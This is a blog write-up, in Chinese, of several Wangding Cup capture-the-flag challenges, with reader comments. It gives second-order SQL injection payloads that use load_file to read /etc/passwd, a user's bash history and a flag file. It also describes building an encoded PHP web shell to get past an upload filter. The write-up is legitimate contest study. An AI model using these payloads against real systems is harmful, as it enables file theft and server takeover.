网鼎杯第四场wp

作者: print("") 分类: 信息安全 发布时间: 2018-08-29 23:47

网鼎杯第四场,完全被虐着打,根本就打不过,

1、签到题

2、comment

爆破得到账号密码 zhangwei  zhangwei666

同时发现git 泄露 get 源代码。发现write_do.php 中很一个很有意思的地方

然后发现可以构成二次注入:

思路是这样的

1、 观察了一下发现是两张表 board 、comment


首先写评论的时候数据写到board  然后再次评论的时候  category这个变量会从 board
表中读取然后构成二次注入

如下图:

也就是说comment 中的category 字段是直接取 board字段。构造成二次注入。
比如说在board 表中写入一段
如下:
‘, content=user(),/*   然后 评论的时候 只需要闭合这个就OK  
‘, content=user(),/**/#  就可以查询到当前的user  

那么测试吧=。= 

首先读取一下passwd

‘,content=(select load_file(‘//etc/passwd’)),/*

触发的话只需在评论中评论*/#  如下:


发现一个www用户 看看用户的命令记录

‘,content=(select load_file(‘//home/www/.bash_history’)),/*

执行了如下:

cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

那么查询.DS_Store 是什么东西

‘,content=(select hex(load_file(‘//tmp/html/.DS_Store’))),/*

得到hex

解密一下

http://www.ab126.com/goju/1711.html

得到如下:

读取一下flag

‘,content=(select hex(load_file(‘//var/www/html/flag_8946e1ff1ee3e40f.php’))),/*

得到如下:

flag{cf275fbb-4435-4d5b-a229-4207e425649e}

3.blog

是一个wp 的程序。看到第二篇博客发现有一个很意思的ssrf 各种尝试之后呢。在github 搜索关键词找到了相关的信息

真的是很皮啊

访问http://xxx/WD_UserListAPI.php 存在  之后列举出UID  得到正确结果为233  得到flag

4、shenyue

这是一个送分题

5、双色块

binwalk 分析了一下,分离了出了图片

得到一张png 图片

分离gif  得到576张图片。 一开始以为是二维码,然后一直捣鼓二维码。最后朋友提示说是二进制的格式

图片上的绿色为0 紫色为1 转换  。 尝试了绿色为1 和紫色为0 发现 绿色为0 紫色为1 可以转换

用python 解开之后是一大串的二进制 

得到o8DlxK+H8wsiXe/ERFpAMaBPiIcj1sHyGOMmQDkK+uXsVZgre5DSXw==hhhhhhhhhhhhhhhh

各种尝试无果之后去掉  后面hhhhhhhhhh 可能是那个加密的key 

然后进行des解密如下:

flag{2ce3b416457d4380dc9a6149858f71db}

6、NoWafUpload

扫描发现备份文件中有一个www.zip 一个so 文件一个php 文件

上传一个php文件发现是一个phpinfo 好无奈啊

然后就一脸懵逼 

尝试分析一波So文件 发现

首先是一个zlib 的压缩,MD5验证 。最后使用了异或0xc 

写了 一个蹩脚的脚本

使用winhex 构造新的文件、分为四个部分

1、密文的md5值

2. 一句话木马长度的16进制补齐长度

3、密文长度十六进制、补齐长度

4.密文

菜刀上去

7、shanghai

这个看起来就像是维尼亚密码
因为不晓得密码。所以一直很纠结,密码是什么,然后猜呗、
看看i春秋 是不 密码
然后用这个然后看题目上海。然后又有点迷糊
最后没办法。只能一个个尝试,无意中想到啊icq + 维尼亚
icqvigenere
神奇的是竟然解密成功 我靠。神仙啊。

**上面这些都是娱乐一下。密码是队友发给我的。=。**
=。= 破解网址
https://guballa.de/vigenere-solver
。。。破解出来就是这个密码 。flag 直接ctrl+F 查询一下就OK
希望师傅们不要怼这个=。= 真没啥怼的。凭空想的flag 的剧情明天可能就上演了


发现flag

flag{vigenereisveryeasyhuh}

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

11条评论
  • Grow

    2018年8月30日 上午10:44

    大佬是妹子吗

  • caiji

    2018年8月30日 下午1:26

    表哥,按照payload构造出的sql语句如下
    insert into comment set category=”,content=user(),/*content=’*/#,bo_id=id;,本地测试了下报错(感觉是user()后面逗号的问题),但在耙机上提交payload却能获取数据,相反删掉逗号提交payload获取不到数据,是哪里姿势不对吗?

    1. print("")

      2018年8月30日 下午9:41

      你看看我插入的这条数据。你本地执行一下
      insert into comment set category=’111′,content=(SELECT user())/*count=”*/#,id=12

      1. caiji

        2018年8月31日 上午10:07

        好吧,是换行的问题

        1. print("")

          2018年8月31日 上午10:27

          也不是换行的问题。你的语法不对。

          1. caiJi

            2018年9月1日 上午10:22

            表哥给个联系方式吧,邮箱这个:zhangwuwu@protonmail.com

          2. print("")

            2018年9月1日 下午12:57

            print@dafsec.org

  • aoermumu

    2018年8月30日 下午5:09

    大佬,comment那题.git泄露,我下载下来的代码不全,缺少过程,请问是怎么得到真实的源码的

    1. print("")

      2018年8月30日 下午9:28

      https://github.com/internetwache/GitTools 利用这个工具
      Dumper/gitdumper.sh http://xxx.xxx/.git/ temp
      Extractor/extractor.sh temp temp2
      cd temp2
      root@kali:~/GitTools-master/liang2# tree .
      .
      ├── 0-5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
      │ ├── commit-meta.txt
      │ └── write_do.php
      ├── 1-bfbdf218902476c5c6164beedd8d2fcf593ea23b
      │ ├── commit-meta.txt
      │ └── write_do.php
      └── 2-e5b2a2443c2b6d395d06960123142bc91123148c
      ├── commit-meta.txt
      └── write_do.php

      得到完整代码
      < ?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){
      $category = mysql_fetch_array($result)[‘category’];
      $content = addslashes($_POST[‘content’]);
      $sql = “insert into comment
      set category = ‘$category’,
      content = ‘$content’,
      bo_id = ‘$bo_id'”;
      $result = mysql_query($sql);
      }
      header(“Location: ./comment.php?id=$bo_id”);
      break;
      default:
      header(“Location: ./index.php”);
      }
      }
      else{
      header(“Location: ./index.php”);
      }
      ?>

  • Garlandtum

    2018年9月2日 上午5:12

    Hello! look at my pictures http://catcut.net/Czvw

发表评论

电子邮件地址不会被公开。 必填项已用*标注